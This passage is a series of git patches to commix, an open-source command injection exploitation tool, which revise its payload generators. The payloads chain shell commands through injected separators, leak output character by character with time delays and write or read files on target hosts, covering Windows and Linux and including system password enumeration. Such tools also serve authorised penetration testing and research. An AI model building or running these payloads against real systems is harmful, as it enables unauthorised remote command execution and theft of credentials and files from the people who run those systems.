custom_web_root(url, OUTPUT_TEXTFILE) + info_msg = "Using '" + output + info_msg += "' as command execution output." + print(settings.print_info_msg(info_msg)) if not settings.DEFINED_WEBROOT: pass else: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 7761d474ed..d8ad42ca0c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -185,7 +185,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output - checks.print_passes(sys_users, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/utils/common.py b/src/utils/common.py index d60b8802d8..8de209f3d4 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -63,7 +63,7 @@ def is_empty(): if settings.ANSWERS: if not any(_ in settings.ANSWERS for _ in ",="): - return is_empty(message, default=None, check_batch=True) + return is_empty() else: for item in settings.ANSWERS.split(','): question = item.split('=')[0].strip() diff --git a/src/utils/settings.py b/src/utils/settings.py index 37f136b89a..f7e957208e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "85" +REVISION = "86" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c1638ae52289f22afcdfe51682eb6fa34c0c16cc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 19 Jun 2022 08:59:22 +0300 Subject: [PATCH 164/560] Trivial update --- .../results_based/techniques/classic/cb_payloads.py | 6 +++--- .../semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/file_based/fb_payloads.py | 6 +++--- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 4 ++-- src/utils/settings.py | 2 +- 6 files changed, 11 insertions(+), 11 deletions(-) diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 3b64637dfd..038538e68b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -27,13 +27,13 @@ def decision(separator, TAG, randv1, randv2): if settings.TARGET_OS == "win": if settings.SKIP_CALC: payload = (separator + - "echo " + TAG + TAG + TAG + "< nul" + "echo " + TAG + TAG + TAG + " Date: Mon, 20 Jun 2022 09:24:57 +0300 Subject: [PATCH 165/560] Minor update --- src/core/injections/controller/checks.py | 5 ++--- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b38547e4be..7e699ef647 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1002,7 +1002,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): Lists available tamper scripts """ def list_tamper_scripts(): - info_msg = "Listing available tamper scripts:" + info_msg = "Listing available tamper scripts." print(settings.print_info_msg(info_msg)) if menu.options.list_tampers: for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): @@ -1010,8 +1010,7 @@ def list_tamper_scripts(): match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() - sub_content = Fore.MAGENTA + os.path.basename(script) + Style.RESET_ALL + " - " + comment - print(settings.print_sub_content(sub_content)) + print(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment) """ Tamper script checker diff --git a/src/utils/settings.py b/src/utils/settings.py index 00f7534682..818a017886 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "87" +REVISION = "88" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 8287dd16791642e2eab6bc27c5d2a916212136ec Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 21 Jun 2022 06:53:28 +0300 Subject: [PATCH 166/560] Minor updates --- src/core/injections/controller/checks.py | 25 ++++++++++++------- .../techniques/classic/cb_file_access.py | 17 +++---------- .../techniques/eval_based/eb_file_access.py | 5 +--- .../techniques/eval_based/eb_payloads.py | 8 +++--- .../techniques/file_based/fb_file_access.py | 12 +-------- .../techniques/file_based/fb_payloads.py | 15 ++++++----- src/utils/settings.py | 9 ++++--- 7 files changed, 39 insertions(+), 52 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7e699ef647..4daae493b3 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2020,6 +2020,7 @@ def quoted_cmd(cmd): return cmd """ +Add new "cmd /c" """ def add_new_cmd(cmd): cmd = "cmd /c " + cmd @@ -2037,17 +2038,20 @@ def escape_single_quoted_cmd(cmd): """ def find_filename(dest_to_write, content): fname = os.path.basename(dest_to_write) - #tmp_fname = "tmp_" + fname - tmp_fname = fname - content = quoted_cmd(content) - cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname + tmp_fname = fname + "_tmp" + # _ = settings.FILE_WRITE + if settings.TARGET_OS == "win": + # _ = settings.FILE_WRITE_WIN + cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + " '" + content + "'" + else: + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname return fname, tmp_fname, cmd """ Decode base 64 encoding """ def win_decode_b64_enc(fname, tmp_fname): - cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + settings.SINGLE_WHITESPACE + fname + cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\") return cmd """ @@ -2073,14 +2077,17 @@ def remove_parenthesis(cmd): """ def write_content(content, dest_to_write): content = quoted_cmd(content) - cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write + if settings.TARGET_OS == "win": + cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + " '" + content + "'" + else: + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write return cmd """ Delete filename """ def delete_tmp(tmp_fname): - cmd = settings.WIN_DEL + tmp_fname + cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\") return cmd """ @@ -2088,7 +2095,7 @@ def delete_tmp(tmp_fname): """ def check_file(dest_to_upload): if settings.TARGET_OS == "win": - cmd = settings.FILE_LIST_WIN + dest_to_upload + cmd = settings.FILE_LIST_WIN + dest_to_upload.replace("\\","\\\\") else: cmd = settings.FILE_LIST + dest_to_upload cmd = add_command_substitution(cmd) @@ -2113,7 +2120,7 @@ def file_content_to_read(): info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read + cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\") else: if settings.EVAL_BASED_STATE: cmd = "(" + settings.FILE_READ + file_to_read + ")" diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 35d6da05d3..88bfc902bf 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -38,32 +38,21 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # cmd = "if exist " + fname + " (echo " + fname + ")" - # dest_to_write = dest_to_write + "\\" + fname - cmd = checks.check_file(dest_to_write) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) else: cmd = checks.write_content(content, dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) + cmd = checks.check_file(dest_to_write) + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 82c285f3f4..86d0a3040b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -44,15 +44,12 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, cmd = checks.delete_tmp(tmp_fname) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) - #cmd = "if exist " + fname + " (echo " + fname + ")" - # dest_to_write = dest_to_write + "\\" + fname - cmd = checks.check_file(dest_to_write) else: cmd = checks.write_content(content, dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) + cmd = checks.check_file(dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 6e56523500..eb6c0cc168 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -162,7 +162,7 @@ def cmd_execution(separator, TAG, cmd): if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + - "` cmd /c " + cmd + "`." + + "`" + cmd + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) @@ -170,7 +170,7 @@ def cmd_execution(separator, TAG, cmd): else: payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + - separator + " cmd /c " + cmd + + separator + cmd + separator + "echo '" + TAG + "'" + separator + "echo '" + TAG + "'`)%3B" ) @@ -209,14 +209,14 @@ def cmd_execution_alter_shell(separator, TAG, cmd): if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + - "` cmd /c " + python_payload + "`." + + "`" + python_payload + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + - separator + " cmd /c " + python_payload + + separator + python_payload + separator + "echo '" + TAG + "'" + separator + "echo '" + TAG + "'`)%3B" ) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index ed2426e5d4..45d85f4a71 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -35,30 +35,20 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": cmd = checks.change_dir(dest_to_write) - cmd = cmd + separator + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) cmd = checks.delete_tmp(tmp_fname) - cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # cmd = "cmd /c if exist " + fname + " (echo " + fname + ")" - # dest_to_write = dest_to_write + "\\" + fname - cmd = checks.check_file(dest_to_write) - cmd = checks.add_new_cmd(cmd) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) else: cmd = checks.write_content(content, dest_to_write) cmd = cmd + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) + cmd = checks.check_file(dest_to_write) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 8433e12682..b0984350ef 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -26,11 +26,14 @@ File-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, OUTPUT_TEXTFILE): - - - payload = (separator + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE - ) + if settings.TARGET_OS == "win": + payload = (separator + + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '" + TAG + "'\"" + ) + else: + payload = (separator + + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + ) return payload @@ -75,7 +78,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + cmd + - "\")\"') do @set /p = %i" + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + " Date: Wed, 22 Jun 2022 07:41:12 +0300 Subject: [PATCH 167/560] Update regarding commit: https://github.com/commixproject/commix/commit/8287dd16791642e2eab6bc27c5d2a916212136ec --- .../techniques/time_based/tb_enumeration.py | 4 +- .../techniques/time_based/tb_file_access.py | 13 +- .../blind/techniques/time_based/tb_handler.py | 3 +- .../techniques/time_based/tb_payloads.py | 122 +++++++++--------- src/utils/settings.py | 2 +- 5 files changed, 66 insertions(+), 78 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 8ccd42bc94..572f1d6632 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -34,8 +34,8 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.PS_VERSION - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) + # if alter_shell: + # cmd = checks.escape_single_quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index b292b45526..6f42db0d7e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -40,30 +40,19 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # cmd = "if exist " + fname + " (echo " + fname + ")" - # dest_to_write = dest_to_write + "\\" + fname - cmd = checks.check_file(dest_to_write) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) else: cmd = checks.write_content(content, dest_to_write) cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) + cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 6ade57a197..f3b277efef 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -249,7 +249,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: - cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" + rand_num = randv1 + randv2 + cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" else: cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 31c925517f..3af148ca52 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -26,11 +26,11 @@ """ def decision(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : + if separator == "|" : payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) elif separator == "&&" : @@ -38,8 +38,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) else: @@ -96,24 +96,24 @@ def decision(separator, TAG, output_length, timesec, http_request_method): def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" - if separator == "||" : - payload = (separator + " " + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(output_length) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(output_length) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ) else: if separator == ";" : @@ -140,7 +140,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + @@ -177,22 +177,22 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) else: @@ -252,23 +252,23 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): """ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ) else: if separator == ";" : @@ -330,11 +330,11 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" ) elif separator == "&&" : @@ -342,8 +342,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" ) else: @@ -415,24 +415,24 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" - if separator == "||" : - payload = (separator + " " + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + 